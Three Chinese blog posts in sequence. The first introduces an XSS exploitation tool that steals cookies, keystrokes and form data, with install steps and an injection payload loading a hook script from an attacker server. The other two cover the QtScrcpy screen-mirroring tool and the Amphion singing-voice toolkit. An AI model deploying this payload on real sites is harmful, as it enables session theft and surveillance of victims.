专注XSS跨站脚本漏洞利用工具 工具简介XSS Exploitation Tool是一款渗透测试工具，专注于跨站脚本漏洞的利用。该工具仅用于教育目的，请勿在真实环境中使用它！工具功能：有关受害浏览器的技术数据受害者的地理位置被吸引/访问过的页面的快照被钩住/访问的页面的源代码窃取输入字段数据渗出cookie键盘记录显示警告框重定向用户 工具安装在 Debian 11 上测试，您可能需要 Apache、Mysql 数据库和 PHP 模块： $ sudo apt-get install apache2 default-mysql-server php php-mysql php-curl php-dom $ sudo rm /var/www/index.html安装 Git 并提取 XSS-Exploitation-Tool 源代码： $ sudo apt-get install git $ cd /tmp $ git clone https://github.com/Sharpforce/XSS-Exploitation-Tool.git $ sudo mv XSS-Exploitation-Tool/* /var/www/html/安装 Composer，然后安装应用程序依赖项： $ sudo apt-get install composer $ cd /var/www/html/ $ sudo chown -R $your_debian_user:$your_debian_user /var/www/ $ composer install $ sudo chown -R www-data:$www-data /var/www/初始化数据库$ sudo mysql创建具有特定权限的新用户： MariaDB [(none)]> grant all on *.* to xet@localhost identified by 'xet'; Query OK, 0 rows affected (0.00 sec) MariaDB [(none)]> flush privileges; Query OK, 0 rows affected (0.00 sec) MariaDB [(none)]> quit Bye创建数据库（将产生一个空页）：访问页面 http://server-ip/reset_database.php修改javascript钩子文件hook.js 是一个钩子文件 ，您需要将第一行的ip地址替换为XSS利用工具服务器的ip地址：var address = "your server ip";工具使用首先，创建一个页面（或利用跨站脚本漏洞）来插入 Javascript 挂钩文件（请参阅根目录下的exploit.html）：?vulnerable_param=<script src="http://your_server_ip/hook.js"/>然后，当受害者访问被挂钩的页面时，XSS利用工具服务器应该列出被挂钩的浏览器： 工具地址隐藏内容，请前往内页查看详情

一款功能强悍的手机电脑同屏工具，开源无需root！ 现在使用最常用的设备就是手机和电脑了，经常会需要将手机屏幕镜像到电脑，或者是用电脑来操控手机等。今天老K博客给大家安利一款功能强悍好用的工具 - QtScrcpy 。简介QtScrcpy 是一个强大的安卓手机实时投屏到电脑的开源项目，可以将你的安卓手机屏幕投射到电脑上，并进行控制，无需 Root 权限，支持通过 USB 或 网络连接 Android 设备，并进行显示和控制，甚至是群控。 基于 Qt 和 ffmpeg 开发，支持 Windows、Mac 和 Linux 系统。目前该项目在 GitHub 上已经收获了 14K Star。功能特色实时显示和控制: 实时显示 Android 设备屏幕，实时键鼠控制 Android 设备多媒体功能:支持屏幕录制、截图，同步设备扬声器声音到电脑连接方式:无线连接、多设备连接与批量操作其他功能:Ctrl + C 将设备剪贴板复制到计算机剪贴板；Ctrl + Shift + V 将计算机剪贴板复制到设备剪贴板；Ctrl + V 将计算机剪贴板作为一系列文本事件发送到设备全屏显示、窗口置顶安装 apk：拖拽 apk 到显示窗口即可安装传输文件：拖拽文件到显示窗口即可发送文件到 Android 设备后台录制：只录制屏幕，不显示界面剪贴板同步: 在计算机和设备之间同步剪贴板，应用场景办公自动化：在办公环境中，通过电脑控制手机，不再需要频繁查看手机，提高多任务处理能力。游戏娱乐：游戏爱好者可以在电脑大屏上享受移动游戏带来的乐趣，同时利用键盘和鼠标操作，获得更佳的游戏体验。开发人员调试：移动应用开发人员可以利用 QtScrcpy 在电脑屏幕上调试应用，提高开发效率。教学和演示：教师可以利用此工具进行教学演示，商务人士可以在会议过程中轻松分享手机屏幕。...QtScrcpy 和 Scrcpy 的区别安装体验官方很贴心的提供了各个平台的下载方式，同时考虑到网络情况，给出了国内国外的下载链接。按自己的情况选择下载即可。打开的界面如下： 第一次连接需要用USB数据线，开启手机上的USB调试。之后点击界面中【一键USB连接】就可以了。在计算机上连接到您的 Android 设备，然后运行该程序并单击 或USB connectWiFi connect无线连接步骤（确保手机和PC在同一局域网内）：在Android设备上的开发人员选项中启用USB调试通过USB将Android设备连接到计算机单击更新设备，您将看到设备编号已更新单击获取设备 IP点击开始 adbd单击“无线连接”再次单击更新设备，将找到另一个具有 IP 地址的设备。选择此设备。单击“启动服务”注意：启动 adbd 后，无需通过 USB 保持 Android 设备连接。{cloud title="" type="github" url="https://github.com/barry-ran/QtScrcpy" password=""/}

一款开源的AI声音工具 今天给大家介绍一个开源的AI工具：Amphion它是一个用于音频、音乐和语音生成的工具包，它目标是提供一个平台来研究任何输入到音频的转换。Amphion 旨在支持单独的生成任务，包括但不限于 今天给大家介绍的是它的歌声转换功能，可以让不同的喜欢的歌手演唱任意歌曲！最重要的是，这个工具目前是开源！先看一波官方示例{dplayer src="https://www.zhangxueyao.com/data/MultipleContentsSVC/assets/ai-vocolists.mp4"/}如果觉得示例看着不直接，可以自己去在线体验网址试一试！ 技术上如何实现的？歌声转换（SVC）是一种使任意歌手能够演唱任意歌曲的技术。传统的 AI 歌手训练方法主要依赖音频特征，而忽视了文本和标签等其他内容特征。这导致 AI 歌手在演唱时可能会出现发音不准、感情表达不到位等问题。这个项目调查了三种不同的内容特征，分别来自WeNet、Whisper和ContentVec。让他们在SVC中的互补作用。研究成果表明，多维度内容特征能够有效地提升 AI 歌手的表现。在实验中，使用多维度内容特征训练的 AI 歌手在发音准确度、情感表达等方面均优于使用单一音频特征训练的 AI 歌手。 体验网址：https://huggingface.co/spaces/amphion/singing_voice_conversion项目地址：https://www.zhangxueyao.com/data/MultipleContentsSVC/index.html代码地址：https://github.com/open-mmlab/Amphion/tree/main